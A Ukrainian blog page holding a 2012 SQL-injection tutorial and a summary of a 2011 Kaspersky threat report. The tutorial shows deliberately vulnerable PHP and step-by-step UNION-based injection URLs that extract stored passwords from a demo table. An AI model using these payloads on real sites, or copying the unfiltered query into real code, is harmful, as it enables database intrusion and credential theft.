Сер 21 2012
 

Sql-ін’єкція –  це модифікація запиту до сервера бази даних з метою отримання будь-яких даних котрі можуть становити певний інтерес для хакера. Зазвичай цими даними є логіни, паролі, емейли користувачів і т.д. Ви напевне думаєте що зараз мало сайтів які мають вразливість до sql-ін’єкцій, але це не так,  код пишуть люди, а людям властиво помилятися.

Розглянемо простий випадок при якому можна здійснити sql-ін’єкцію. Нехай у нас буде проста таблиця в базі даних  із назвою  users .

CREATE TABLE users (
id int not null auto_increment PRIMARY KEY,
login varchar(50),
password varchar(50),
email varchar(50)
) default charset utf8;


Додаємо в таблицю 2 записи з даними

insert into users values('1', 'taras', '12345', 'taras@mail.ru');
insert into users values('2', 'stepan', 'qwerty', 'stepan@mail.ru');


Sql-ін’єкція можлива при умові коли є наявність вразливого параметра, котрий підставляється у sql-запит. Зазвичай такі параметри передаються через URL. Вразливий параметр це той котрий недостатньо фільтрується, тобто цей параметр можна змінити так що запит до БД вже буде мати зовсім іншу суть.

Розглянемо наступний вразливий код який дозволяє легко здійснити sql-ін’єкцію.
<?php
$query = "SELECT * FROM users WHERE id = ".$_GET["user_id"]."";
$user = mysql_fetch_assoc(mysql_query($query));
echo "Hello ".$user["login"]; 
?>

Як бачите, параметр $_GET["user_id"] ніяк не фільтрується і це можна використати. http://site.com/test.php?user_id=1 виводить логін користувача з id рівним 1

Запит до бази даних SELECT * FROM users WHERE id = 1
Результат - "Hello taras"

Переходимо по наступному URL http://site.com/test.php?user_id=1′

Запит до бази даних SELECT * FROM users WHERE id = 1'
Результат - "Warning: mysql_fetch_assoc() expects parameter 1 to be resource, boolean given in test.php on line 7
Hello"

Як можна помітити, символ кавички підставився у запит до бази даних, через що останній став синтаксично неправильним. Це означає що в параметр $_GET["user_id"] можна модифікувати з метою отримання секретних даних.

Тепер буде невеличкий огляд одного корисного оператора СУБД Mysql. Цей оператор називається UNION, і ми будемо його використовувати для отримання секретних даних через sql-ін’єкцію. Нехай секретнимми даними для нас будуть емейл та пароль користувача з логіном “taras”.

Оператор UNION використовується для об’єднання кількох запитів SELECT в один результуючий набір даних. Наприклад:
SELECT * FROM users UNION SELECT 1 , 2, 3, 4 FROM users WHERE id =1;
Результат:

id login password email
1 taras 12345 taras@mail.ru
2 stepan qwerty stepan@mail.ru
1 2 3 4


Замість колонок, у другому операторі SELECT, ми підставили звичайні цифри 1,2,3,4. Цей запит успішно виконався і в результаті вибірки з’явився третій рядок із цифрами 1,2,3,4.
Важливою вимогою для оператора UNION є те, що кожен додатковий запит SELECT повинен вибирати таку саму кількість колонок яку вибирає перший запит SELECT.
SELECT * FROM users UNION SELECT 1 , 2, 3 FROM users WHERE id =1; - невалідний запит, кількість колонок не співпадає.
Результат - "The used SELECT statements have a different number of columns"

Реалізуємо sql-ін’єкцію

Тепер у нас є все щоб реалізувати sql-ін’єкцію. Ми маємо вразливий скрипт із вразливим параметром, давайте будемо підбирати кільксть колонок. Будемо закінчувати модифікацію вразливого параметру символом комантарів “–”, це потрібно для того щоб відсікти весь запит який може йти після вразливого параметру у реальному прикладі. Зауважте що символ “+” в URL, в подальшому конвертується в пробіл.

http://localhost/site.com/test.php?user_id=1+union+select+1+--

Запит до бази даних SELECT * FROM users WHERE id = 1 union select 1 --
Результат - "Warning: mysql_fetch_assoc() expects parameter 1 to be resource, boolean given in test.php on line 7
Hello"


http://localhost/site.com/test.php?user_id=1+union+select+1,2+--

Запит до бази даних SELECT * FROM users WHERE id = 1 union select 1,2 --
Результат - "Warning: mysql_fetch_assoc() expects parameter 1 to be resource, boolean given in test.php on line 7
Hello"


http://localhost/site.com/test.php?user_id=1+union+select+1,2,3+--

Запит до бази даних SELECT * FROM users WHERE id = 1 union select 1,2,3 --
Результат - "Warning: mysql_fetch_assoc() expects parameter 1 to be resource, boolean given in test.php on line 7
Hello"


http://localhost/site.com/test.php?user_id=1+union+select+1,2,3,4+--

Запит до бази даних SELECT * FROM users WHERE id = 1 union select 1,2,3,4 --
Результат - "Hello taras"

Ура, ми підібрали правильну кількість колонок, тепер, у результаті останнього запиту мають знаходитися наші вибрані циферки 1,2,3,4. Ми їх не бачимо бо в коді ці поля не виводяться, зате ми знаємо що виводиться поле “login”, це ми і будемо використовувати. У нашому випадку ми знаємо що поле логін є другим по порядку в таблиці users. В реальних ситуаціях ми цього не знаємо, і це дещо ускладнює вивід потрібних даних.

Модифікуємо наш запит так щоб у другому запиті SELECT, замість цифри 2 виводилося поле password з таблиці users. Також обов’язково зауважте що потрібно додати умову “from users where id=1″ , тому що другий запит повинен знати звідки йому вибирати це поле password.

http://localhost/site.com/test.php?user_id=1+union+select+1,password,3,4+from+users+where+id=1--

Запит до бази даних SELECT * FROM users WHERE id = 1 union select 1,password,3,4 from users where id=1--
Результат - "Hello taras"


Ура, запит успішно виконався і тепер пароль користувача з id = 1 знаходиться в результаті вибірки даних. Але от халепа, цей пароль ніде не виводиться, як же нам його взнати? А взнати його дуже просто, треба модифікувати перший запит SELECT так, щоб він став невалідним, і тоді замість другої колонки в першому SELECT-і, підставиться друга колонка із другого SELECT-ту.
Ми просто ставимо знак мінус “-” перед параметром id. Фінальний URL повинен мати наступний вигляд:

http://localhost/site.com/test.php?user_id=-1+union+select+1,password,3,4+from+users+where+id=1--

Запит до бази даних SELECT * FROM users WHERE id = -1 union select 1,password,3,4 from users where id=1--
Результат - "Hello 12345"


Тепер ви бачите що замість логіна вивелося “12345″ , це і є пароль першого користувача.

http://localhost/site.com/test.php?user_id=-1+union+select+1,password,3,4+from+users+where+id=2--

Запит до бази даних SELECT * FROM users WHERE id = -1 union select 1,password,3,4 from users where id=2--
Результат - "Hello qwerty" - пароль користувача з id = 2


Ось через такі підставляння кавичок в URL були зламані дуже багато сайтів, переважно це самописні сайти. Якщо ви користуєтеся популярною CMS, то скоріше усього вона не надто вразлива до даного виду атаки, бо в таких CMS такі вразливості швидко виправляються, якщо ці вразливості стали відомі) На останок хочу порадити добре фільтрувати усі дані які ви отримуєте у своїх скриптах, не слід зневажати на такі речі. Успіху вам!

Лис 16 2011
 

“Лабораторія Касперського ” опублікувала огляд інформаційних загроз у третьому кварталі 2011 року. Аналітики відзначають, що в цей період кількість кібератак на найбільші корпорації світу продовжувала рости. Деяким компаніям довелося навіть вийти з бізнесу внаслідок дій хакерів. За минулий квартал кіберзлочинці остаточно зробили свій вибір на користь платформи Android, яка тепер лідирує за кількістю зловредів. У цей період зловмисники створили ще більш витончені схеми роботи шкідливого ПО, а також згадали добре забуті методи: тепер і нешкідливі QR-коди можуть містити віруси, а комп’ютер може бути заражений ще до старту ОС через BIOS.

У третьому кварталі 2011 стало відомо про нові атаки, скоєних групою Anonymous , а також невідомими зломщиками корпоративних мереж. Під ударом опинилися італійська кіберполіція, ряд поліцейських підрозділів в США, компанії-підрядники ФБР. У списку жертв хакерів значаться також компанії сектора оборонної промисловості Mitsubishi Heavy Industries і Vanguard Defense. І це далеко не повний список. В результаті атак зловмисникам стала доступна інформація про співробітників і клієнтів компаній, внутрішні документи, листування, а також засекречені дані.

У липні 2011 року хакери зламали сервера сертифікаційного центру DigiNotar, в результаті зловмисники змогли випустити 531 підроблений сертифікат і отримати доступ до сайтів, навіть якщо останні використовували зашифровані з’єднання. Серед ресурсів, які стали метою зловмисників, виявилися державні органи різних країн, а також найбільші інтернет-сервіси Google, Yahoo, Tor, Mozilla. Для DigiNotar історія закінчилося оголошенням про добровільне банкрутство. «Злом DigiNotar – це вже друга історія такого роду в цьому році. Компанії, які випускають кореневі SSL-сертифікати, зобов’язані проходити атестацію і аудит безпеки. Але, на жаль, як тепер видно, рівень безпеки зламаних центрів сертифікації DigiNotar і партнерів Comodo залишав бажати кращого, – коментує провідний вірусний аналітик «Лабораторії Касперського», автор огляду Юрій Намісників. – Випадок з банкрутством DigiNotar має стати сигналом до посилення політики безпеки для інших учасників цього ринку ».

Приватним користувачам також варто бути гранично обережними. Кількість зловмисних програм для мобільних пристроїв збільшується надшвидкими темпами. У третьому кварталі ОС Android остаточно утвердилася на лідируючій позиції за кількістю вірусів. За останній квартал частка Android-зловредів значно зросла і склала 40% від усіх виявлених за 2011 рік мобільних шкідливих програм.

Аналітики «Лабораторії Касперського» прогнозували, що зловмисники будуть шукати нові способи монетизації Android-зловредів, і нової схеми не довелося довго чекати. У липні був виявлений троянець сімейства Zitmo для Android, який, працюючи в парі зі своїм «настільним» побратимом Zeus, дозволяє зловмисникам обходити систему двофакторної авторизації, використовуваної в багатьох системах інтернет-банкінгу.

Шкідливе ПО, часом, може проникнути на мобільний пристрій найнесподіванішим способом. Наприклад, через QR-коди. За своєю суттю QR-код нагадує звичайний штрихкод, проте володіє великою ємністю для зберігання інформації. Зловмисники для розповсюдження SMS-троянців під виглядом ПЗ для Android зашифровували в QR-код шкідливе посилання. Після сканування такого QR-коду на мобільному пристрої користувача автоматично завантажується шкідливий файл, який відправляє SMS на платні номери.

Найнезвичайніші інциденти кварталу, мабуть, можна характеризувати фразою «Все нове – це добре забуте старе». Приблизно так вирішили хакери, коли зрозуміли, що сучасний рівень захисту ОС практично не залишає шансів встановити руткіт в працюючій системі комп’ютера. Вірусописьменники здогадалися завантажувати свої «творіння» до старту ОС безпосередньо через BIOS. І хоча минуло понад 10 років з моменту гучної історії зараження BIOS під назвою «Чорнобиль», зараз цей метод «занесення» шкідливого коду знову стало актуальним.